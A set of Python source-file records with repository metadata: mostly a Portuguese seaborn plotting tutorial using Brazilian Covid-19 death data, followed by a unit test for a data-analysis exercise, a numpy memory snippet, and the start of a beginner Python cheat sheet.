'Quinta-Feira',\n                         'Sexta-Feira', 'S\u00e1bado', 'Domingo'])\n\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# ## O gr\u00e1fico *swarmplot*\n# \n# O *swarmplot* \u00e9 um gr\u00e1fico de dispers\u00e3o onde, diferentemente do *stripplot*, nenhum dado pode ficar sobreposto. Desta forma, tamb\u00e9m fornece uma ideia mais precisa da quantidade de dados.\n# \n# Construiremos o *swarmplot* atrav\u00e9s da fun\u00e7\u00e3o `catplot` com o argumento `kind = 'swarm'`. Como o *swarmplot* tamb\u00e9m \u00e9 um tipo do `catplot`, podemos determinar a ordem das vari\u00e1veis categ\u00f3ricas com o argumento `order`.\n\n# In[21]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos',\n                kind = 'swarm',\n                data=covid_BR_obitos, \n                order = ['Segunda-Feira', 'Ter\u00e7a-Feira',\n                         'Quarta-Feira', 'Quinta-Feira',\n                         'Sexta-Feira', 'S\u00e1bado', 'Domingo'])\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# ## Gr\u00e1ficos de Barras e Colunas\n# \n# Para criar gr\u00e1ficos de barras e colunas com o *seaborn* utilizaremos a fun\u00e7\u00e3o `catplot` com o argumento `kind=bar`. Se a vari\u00e1vel categ\u00f3rica estiver no eixo *x*, o gr\u00e1fico ser\u00e1 de coluna; se a vari\u00e1vel categ\u00f3rica estiver no eixo *y*, o gr\u00e1fico ser\u00e1 de barra.\n\n# In[22]:\n\n\ncovid_Regioes = covid_BR[['regiao','obitosNovos']].groupby('regiao').sum().query('regiao != \"Brasil\"')/2\n\np = sns.catplot(x='regiao', y='obitosNovos',\n                kind = 'bar',data=covid_Regioes.reset_index())\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# In[23]:\n\n\ncovid_Regioes = covid_BR[['regiao','obitosNovos']].groupby('regiao').sum().query('regiao != \"Brasil\"')/2\n\np = sns.catplot(x='obitosNovos', y='regiao',\n                kind = 'bar',data=covid_Regioes.reset_index())\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# In[24]:\n\n\ndf_dict_series_sns = pd.DataFrame(df_dict_series.Idade).rename({'Idade':'Valor'}, axis=1)\ndf_dict_series_sns['Dado'] = 'Idade'\n\ndf_dict_series_sns_temp = pd.DataFrame(df_dict_series.Altura).rename({'Altura':'Valor'}, axis=1)\ndf_dict_series_sns_temp['Dado'] = 'Altura'\ndf_dict_series_sns = pd.concat([df_dict_series_sns, df_dict_series_sns_temp])\n\ndf_dict_series_sns_temp = pd.DataFrame(df_dict_series.Peso).rename({'Peso':'Valor'}, axis=1)\ndf_dict_series_sns_temp['Dado'] = 'Peso'\ndf_dict_series_sns = pd.concat([df_dict_series_sns, df_dict_series_sns_temp])\n\ndf_dict_series_sns\n\n\n# In[25]:\n\n\np = sns.catplot(x='index', y='Valor', \n                hue='Dado',\n                data = df_dict_series_sns.reset_index(),\n                kind='bar')\n\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# ## _Box Plot_ e plots alternativos\n# \n# Tanto o *BoxPlot* quanto os plots alternativos que apresentaremos aqui (*violinplot* e *boxenplot*) fazem parte do `catplot`. Para construir um \n# \n# - *Box Plot* utiliza-se o argumento `kind='box'`;\n# - *Violin Plot* utiliza-se o argumento `kind='violin'`;\n# - *Boxen Plot* (ou *letter-value plot*) utiliza-se o argumento `kind='boxen'`.\n# \n# ```{note}\n# O *boxenplot* foi criado por Hadley Wickham (criador do *ggplot2* e da maioria dos pacotes do *tidyverse* do *R*) e colaboradores e \u00e9 uma generaliza\u00e7\u00e3o do *BoxPlot* que apresenta mais quantis. Foi introduzido como [letter-value plots](https://vita.had.co.nz/papers/letter-value-plot.html). O *violinplot* recebe este nome, pois seu gr\u00e1fico assemelha-se a um violino.\n# ```\n\n# In[26]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos',\n                kind = 'box',\n                data=covid_BR_obitos,\n                order = ['Segunda-Feira', 'Ter\u00e7a-Feira',\n                         'Quarta-Feira', 'Quinta-Feira',\n                         'Sexta-Feira', 'S\u00e1bado', 'Domingo'])\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# In[27]:\n\n\ncovid_regioes_diarios_px = covid_BR.set_index(\n    'data').query('regiao != \"Brasil\"')[['obitosNovos', 'regiao']].reset_index().rename(\n    {'obitosNovos':'\u00d3bitos','regiao':'Regi\u00e3o','data':'Data'},axis=1)\n\ncovid_regioes_diarios_px = covid_regioes_diarios_px.groupby(['Regi\u00e3o','Data']).sum()/2\ncovid_regioes_diarios_px = covid_regioes_diarios_px.reset_index().set_index('Data')\n\ncovid_regioes_diarios_px\n\n\n# In[28]:\n\n\np = sns.catplot(x='Regi\u00e3o', y='\u00d3bitos',\n                kind = 'box',\n                data=covid_regioes_diarios_px)\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# Na presen\u00e7a de muitos *outliers*, como \u00e9 o caso do gr\u00e1fico anterior, \u00e9 interessante considerar uma alternativa ao *Box Plot*.\n# \n# Vamos ver agora o *Boxen Plot* (ou *letter-value plots*). Este plot considera os quantis: ..., 0.8%, 1.56%, 3.13%, 6.25%, 12.5%, 25%, 50%, 75%, 87.5%, 93.75%, 96.88%, 98.44%, 99.24%, ...\n\n# In[29]:\n\n\np = sns.catplot(x='Regi\u00e3o', y='\u00d3bitos',\n                kind = 'boxen',\n                data=covid_regioes_diarios_px)\n\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# Por\u00e9m, em um gr\u00e1fico sem muitos *outliers*, o *Boxen Plot* n\u00e3o difere muito do *Box Plot*.\n\n# In[30]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos',\n                kind = 'boxen', \n                data=covid_BR_obitos, \n                order = ['Segunda-Feira', 'Ter\u00e7a-Feira',\n                         'Quarta-Feira', 'Quinta-Feira',\n                         'Sexta-Feira', 'S\u00e1bado', 'Domingo'])\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# Na presen\u00e7a de muitos *outliers*, tamb\u00e9m \u00e9 prefer\u00edvel um *Violin Plot* em vez de um *Box Plot*, para tornar vis\u00edvel o que est\u00e1 ocorrendo.\n\n# In[31]:\n\n\np = sns.catplot(x='Regi\u00e3o', y='\u00d3bitos',\n                kind = 'violin',\n                data=covid_regioes_diarios_px)\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# Muitas vezes, \u00e9 interessante sobrepor um *Violin Plot* a um *Swarm Plot* para evidenciar o comportamento da distribui\u00e7\u00e3o dos dados.\n\n# In[32]:\n\n\np = sns.catplot(x='Regi\u00e3o', y='\u00d3bitos',\n                kind = 'violin',\n                data=covid_regioes_diarios_px)\n\nsns.swarmplot(x='Regi\u00e3o', y='\u00d3bitos',\n              data=covid_regioes_diarios_px,\n              ax = p.ax,\n              size=4, color='k')\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# In[33]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos',\n                kind = 'violin',\n                data=covid_BR_obitos)\n\nsns.swarmplot(x='Dia', y='obitosNovos',\n              data=covid_BR_obitos,\n              ax = p.ax, size=4, color='k') \n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# ## Histogramas\n# \n# O *seaborn* constr\u00f3i histogramas a partir da fun\u00e7\u00e3o `histplot`, ou da fun\u00e7\u00e3o obsoleta `distplot`. \n# \n# Inclu\u00edmos um estimador de densidade baseado em n\u00facleo Gaussiano (_Gaussian kernel_) utilizando o argumento `kde=True`.\n\n# In[34]:\n\n\nfig, ax = plt.subplots(figsize=(8,4))\n_ = sns.histplot(covid_regioes_diarios_px.query('Regi\u00e3o==\"Nordeste\"')['\u00d3bitos'],kde=True)\n\n\n# Para remover o estimador, selecionamos `kde=False`.\n\n# In[35]:\n\n\nfig, ax = plt.subplots(figsize=(8,4))\n_ = sns.histplot(covid_regioes_diarios_px.query('Regi\u00e3o==\"Nordeste\"')['\u00d3bitos'],kde=False)\n\n\n# Para plotarmos apenas o estimador de densidade sem o histograma, usamos `distplot` com a op\u00e7\u00e3o `hist=False`.\n\n# In[36]:\n\n\nfig, ax = plt.subplots(figsize=(8,4))\n_ = sns.distplot(covid_regioes_diarios_px.query('Regi\u00e3o==\"Nordeste\"')['\u00d3bitos'],hist=False)\n\n\n# \u00c9 poss\u00edvel plotar o histograma com o estimador para qualquer s\u00e9rie do _DataFrame_.\n\n# In[37]:\n\n\nfig, ax = plt.subplots(figsize=(8,4))\n_ = sns.histplot(df_exemplo['coluna_1'],kde=True)\n\n\n# ## Distribui\u00e7\u00e3o conjunta e marginal\n# \n# O histograma permite que verifiquemos a distribui\u00e7\u00e3o de uma ou mais vari\u00e1veis, mas sem levar outras em considera\u00e7\u00e3o. Para plotarmos uma distribui\u00e7\u00e3o conjunta, bem como a distribui\u00e7\u00e3o individual (marginal) de cada vari\u00e1vel, podemos utilizar a fun\u00e7\u00e3o `jointplot`.\n\n# In[38]:\n\n\n_ = sns.jointplot(x = 'coluna_1', y = 'coluna_2', data=df_exemplo, height=7)\n\n\n# O pr\u00f3ximo exemplo usa a fun\u00e7\u00e3o `jointplot` para plotar distribui\u00e7\u00f5es conjuntas relativas ao n\u00famero de \u00f3bitos por Covid-19 por regi\u00e3o do Brasil durante uma certa janela temporal.\n\n# In[39]:\n\n\ncovid_regioes_diarios = pd.DataFrame()\n\nregioes = covid_BR.query('regiao != \"Brasil\"')['regiao'].drop_duplicates().array\n\nfor regiao in regioes:\n    temp_series = covid_BR.set_index('data').query('regiao == @regiao')['obitosNovos'].groupby('data').sum()/2\n    temp_series.name = 'obitos_' + regiao\n    covid_regioes_diarios = pd.concat([covid_regioes_diarios, temp_series], axis=1)\n    \ncovid_regioes_diarios.index = pd.to_datetime(covid_regioes_diarios.index)\ncovid_regioes_diarios.head()\n\n\n# In[40]:\n\n\n_ = sns.jointplot(x='obitos_Nordeste', y='obitos_Sudeste',\n                  data = covid_regioes_diarios, height=7)\n\n\n# ## Estilos e cores\n# \n# O *seaborn* disponibiliza 5 estilos pr\u00e9-definidos: *darkgrid*, *whitegrid*, *dark*, *white* e *ticks*. Vejamos cada um deles.\n\n# In[41]:\n\n\nimport matplotlib.dates as mdates\nfrom matplotlib.ticker import FuncFormatter\n\n\n# In[42]:\n\n\nsns.set_style(\"darkgrid\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[43]:\n\n\nsns.set_style(\"whitegrid\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[44]:\n\n\nsns.set_style(\"dark\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[45]:\n\n\nsns.set_style(\"white\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[46]:\n\n\nsns.set_style(\"ticks\") # A diferen\u00e7a com o anterior s\u00e3o os \"ticks\" no eixo x\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# ### Molduras\n# \n# Utilizamos a fun\u00e7\u00e3o `despine` para adicionar ou remover molduras em plotagens com o *seaborn*. Podemos especificar lados para adicionar e remover molduras utilizando os booleanos `True` e `False`.\n\n# In[47]:\n\n\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) \np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) \np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y'))\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\nsns.despine(right=False, top=False)\n\n\n# Podemos criar um tipo de \"acolchoamento\" aumentando a dist\u00e2ncia entre o gr\u00e1fico e a moldura utilizando `offset`. Atribuindo um valor para este argumento, as bordas ser\u00e3o afastadas naturalmente. Um tipo de \"corte est\u00e9tico\" pode ser adicionado \u00e0 moldura com `trim=False`.\n\n# In[48]:\n\n\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos',\n                hue = 'Tipo',\n                data=covid_PB_obitos_df.reset_index(),\n                kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\nsns.despine(right=False, top=False, offset=30)\n\n\n# In[49]:\n\n\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos',\n                hue = 'Tipo',\n                data=covid_PB_obitos_df.reset_index(),\n                kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\nsns.despine(offset=30, trim=True)\n\n\n# ### Contextos e escala\n# \n# O *seaborn* possui contextos pr\u00e9-definidos que mudam a escala do gr\u00e1fico para melhor satisfazer a aplica\u00e7\u00e3o de interesse. Para definir o contexto, utilizamos a fun\u00e7\u00e3o `set_context`. H\u00e1 4 contextos pr\u00e9-definidos: *paper*, *notebook*, *talk* e *poster*.\n\n# In[50]:\n\n\nsns.set_context(\"poster\")\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', \n                hue = 'Tipo',\n                data=covid_PB_obitos_df.reset_index(),\n                kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[51]:\n\n\nsns.set_context(\"talk\")\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[52]:\n\n\nsns.set_context(\"notebook\")\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[53]:\n\n\nsns.set_context(\"paper\")\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', hue = 'Tipo', data=covid_PB_obitos_df.reset_index(), kind='line')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# ### Paletas e mapas de cores\n# \n# \u00c9 poss\u00edvel personalizar a paleta de cores a ser utilizada ou escolher uma da lista (extremamente extensa) de paletas dispon\u00edveis utilizando a fun\u00e7\u00e3o `set_palette`. Duas formas usuais de selecionar a paleta de cores s\u00e3o:\n# \n# - no escopo de uma instru\u00e7\u00e3o `with` por meio da fun\u00e7\u00e3o `color_palette`;\n# - pelo argumento `palette` nas fun\u00e7\u00f5es de constru\u00e7\u00e3o gr\u00e1fica.\n# \n# A fun\u00e7\u00e3o `color_palette()` aceita nomes de uma paleta do _seaborn_ (_deep_, _muted_, _bright_, _pastel_,_dark_,_colorbind_), um mapa de cores (_colormap_) do _matplotlib_, uma sequ\u00eancia de cores em qualquer formato aceit\u00e1vel pelo _matplotlib_, entre outras op\u00e7\u00f5es.\n# \n# ```{note}\n# Para uma lista ampla de paletas, veja a discuss\u00e3o neste [post](https://medium.com/@morganjonesartist/color-guide-to-seaborn-palettes-da849406d44f) ou a [_Colormap reference_](https://matplotlib.org/stable/gallery/color/colormap_reference.html) do _matplotlib_.\n# ```\n\n# Abaixo temos alguns exemplos de paletas nativas do _seaborn_\n\n# In[54]:\n\n\nsns.color_palette()\n\n\n# In[55]:\n\n\nsns.color_palette('colorblind')\n\n\n# In[56]:\n\n\nsns.color_palette('bright')\n\n\n# e de mapas do cores do _matplotlib_.\n\n# In[57]:\n\n\nsns.color_palette('Greens')\n\n\n# In[58]:\n\n\nsns.color_palette('turbo')\n\n\n# In[59]:\n\n\nsns.color_palette('cividis')\n\n\n# Nos exemplos a seguir, plotamos alguns gr\u00e1ficos novamente com paletas diferentes.\n\n# In[60]:\n\n\n# paleta: 'BuPu'\nsns.set_context(\"paper\")\nsns.set_style(\"ticks\")\np = sns.relplot(x = 'data', y='\u00d3bitos', \n                hue = 'Tipo', \n                data=covid_PB_obitos_df.reset_index(), kind='line',\n                palette = 'BuPu')\np.fig.autofmt_xdate()\np.ax.xaxis.set_minor_locator(mdates.DayLocator(interval=7)) #Intervalo entre os tracinhos\np.ax.xaxis.set_major_locator(mdates.DayLocator(interval=21)) #Intervalo entre as datas\np.ax.xaxis.set_major_formatter(mdates.DateFormatter('%d/%m/%Y')) #Formato da data\np.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[61]:\n\n\n# paleta: 'mako_r'\nwith sns.color_palette('mako_r'):\n    p = sns.catplot(x='Regi\u00e3o', y='\u00d3bitos', \n                    kind = 'violin',\n                    data=covid_regioes_diarios_px)\n    p.ax.set_xlabel(''); p.fig.set_size_inches(12,4)\n\n\n# In[62]:\n\n\n# paleta: icefire_r\nsns.set_palette('icefire_r')\n_ = sns.jointplot(x='obitos_Nordeste', y='obitos_Sudeste', \n                  data = covid_regioes_diarios, \n                  height=6)\n\n\n# ## Nota\n# \n# Este cap\u00edtulo baseia-se nas notas de aula da Profa. Andrea Rocha (CI/UFPB), elaboradas para o mini-curso [FMECD](https://gcpeixoto.github.io/FMECD/ipynb/01a-introducao.html).\n", "meta": {"hexsha": "6769bc52a96e5cb1358b18a8a3c0b7181f167be9", "size": 28798, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/ipynb/16-visualizacao-dados-seaborn.py", "max_stars_repo_name": "gcpeixoto/ICD", "max_stars_repo_head_hexsha": "bae7d02cd467240649c89b0ba4440966fba18cc7", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-09-09T01:56:40.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-10T01:56:56.000Z", "max_issues_repo_path": "_build/jupyter_execute/ipynb/16-visualizacao-dados-seaborn.py", "max_issues_repo_name": "gcpeixoto/ICD", "max_issues_repo_head_hexsha": "bae7d02cd467240649c89b0ba4440966fba18cc7", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/ipynb/16-visualizacao-dados-seaborn.py", "max_forks_repo_name": "gcpeixoto/ICD", "max_forks_repo_head_hexsha": "bae7d02cd467240649c89b0ba4440966fba18cc7", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-11-23T14:24:03.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-23T14:24:03.000Z", "avg_line_length": 32.6878547106, "max_line_length": 372, "alphanum_fraction": 0.6954302382, "include": true, "reason": "import numpy,from scipy", "num_tokens": 8590, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167941228965, "lm_q2_score": 0.16885695632426873, "lm_q1q2_score": 0.07784589266996432}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nimport pandas as pd\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out, patch_helper\n\nmodule_name=\"src.split_date_continues\"\nsplit_date_continues = load(module_name, \"split_date_continues\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p05-01.1')\nclass SplitDateContinues(unittest.TestCase):\n\n    # @classmethod\n    # def setUpClass(cls):\n    #     cls.df = split_date_continues()\n\n    def setUp(self):\n        self.df = split_date_continues()\n    \n    def test_shape(self):\n        self.assertEqual(self.df.shape, (37128, 25), msg=\"Incorrect shape!\")\n\n    def test_columns(self):\n        np.testing.assert_array_equal(self.df.columns[:6],\n                                      ['Weekday', 'Day', 'Month', 'Year', 'Hour', 'Auroransilta'],\n                                      err_msg=\"First six column names were incorrect!\")\n\n    def test_dtypes(self):\n        np.testing.assert_array_equal(self.df.dtypes[:6],\n                                      [object, int, int, int, int, float],\n                                      err_msg=\"Incorrect column types in first six columns!\")\n\n    def test_content(self):\n        value = self.df.loc[0, \"Auroransilta\"]\n        self.assertTrue(np.isnan(value),\n                         msg=\"Incorrect value on row 0 column Auroransilta, expected NaN got %f!\" % value)\n        self.assertEqual(self.df.loc[0, \"Baana\"], 8.0,\n                         msg=\"Incorrect value on row 0 column Baana!\")\n        \n    def test_calls(self):\n        with patch(ph(\"split_date_continues\"), wraps=split_date_continues) as psplit,\\\n            patch(ph(\"pd.read_csv\"), wraps=pd.read_csv) as prc,\\\n            patch(ph(\"pd.concat\"), wraps=pd.concat) as pconcat:\n            main()\n            psplit.assert_called_once()\n            prc.assert_called_once()\n            pconcat.assert_called()\n\nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "22931b501ed995d7f71ae239fa99b3bfcb3800db", "size": 1997, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e01_split_date_continues/test/test_split_date_continues.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e01_split_date_continues/test/test_split_date_continues.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part05-e01_split_date_continues/test/test_split_date_continues.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.8474576271, "max_line_length": 106, "alphanum_fraction": 0.6034051077, "include": true, "reason": "import numpy", "num_tokens": 448, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.16885695632426873, "lm_q1q2_score": 0.07784589016909477}}
{"text": "import sys\r\nimport numpy as np\r\n\r\na = np.array([])\r\nb = np.array([1, 2, 3])\r\nc = np.zeros(10**6)\r\n\r\nfor obj in [a, b, c]:\r\n  print('sys:', sys.getsizeof(obj), 'np:', obj.nbytes)", "meta": {"hexsha": "2cb153871b4493982f5611ab6a475a21757cf15b", "size": 177, "ext": "py", "lang": "Python", "max_stars_repo_path": "Week 1/grok/samples/2a/28.check memory usage of numpy arr1.py", "max_stars_repo_name": "anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera-", "max_stars_repo_head_hexsha": "58fab1c413d7ad5693b1d63f14be05b0f5ec448c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-07-02T02:57:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-01T17:31:14.000Z", "max_issues_repo_path": "Week 1/grok/samples/2a/28.check memory usage of numpy arr1.py", "max_issues_repo_name": "anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera-", "max_issues_repo_head_hexsha": "58fab1c413d7ad5693b1d63f14be05b0f5ec448c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Week 1/grok/samples/2a/28.check memory usage of numpy arr1.py", "max_forks_repo_name": "anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera-", "max_forks_repo_head_hexsha": "58fab1c413d7ad5693b1d63f14be05b0f5ec448c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-07-12T21:54:43.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-01T17:31:42.000Z", "avg_line_length": 19.6666666667, "max_line_length": 54, "alphanum_fraction": 0.5593220339, "include": true, "reason": "import numpy", "num_tokens": 63, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.16885695214168317, "lm_q1q2_score": 0.07784588824085265}}
{"text": "#Jupyter Notebook Keyboard Shortcuts\n# Do not use ''' but use \"\"\" for block comment\n\"\"\"\nshift + tab\t\t\t\tcheck function documentation\nshift + enter \t\t\t\trun cell, select below.\nctrl + enter \t\t\t\trun cell\noption/alt + enter \t\t\trun cell insert below.\nA insert cell above.\nB insert cell below.\nC copy cell.\nV paste cell.\nD , D delete selected cell.\n\"\"\"\n\n# Basic Practice: http://codingbat.com/python\n# More Mathematical (and Harder) Practice: https://projecteuler.net/archives\n# List of Practice Problems: http://www.codeabbey.com/index/task_list\n# A SubReddit Devoted to Daily Practice Problems: https://www.reddit.com/r/dailyprogrammer\n# A very tricky website with very few hints and touch problems (Not for beginners but still interesting) http://www.pythonchallenge.com/\n\n\n\n# Print Code\nmystring = \"Hello World\"\nprint(mystring)\nprint(mystring[-2]) # l\n\n#Slice\nmystring = \"0123456789\"\nprint(mystring[0])  #index starts at 0\nprint(mystring[3:]) #prints 3 and onwards\nprint(mystring[:5]) #go up to but not including 5, returning 01234\nprint(mystring[3:6]) #prints and includes 3 up to but not include 6\nprint(mystring[::]) #beginning to end, step 1, same as print(mystring)\nprint(mystring[2:7:2]) #location 2 up to but excl 7, step 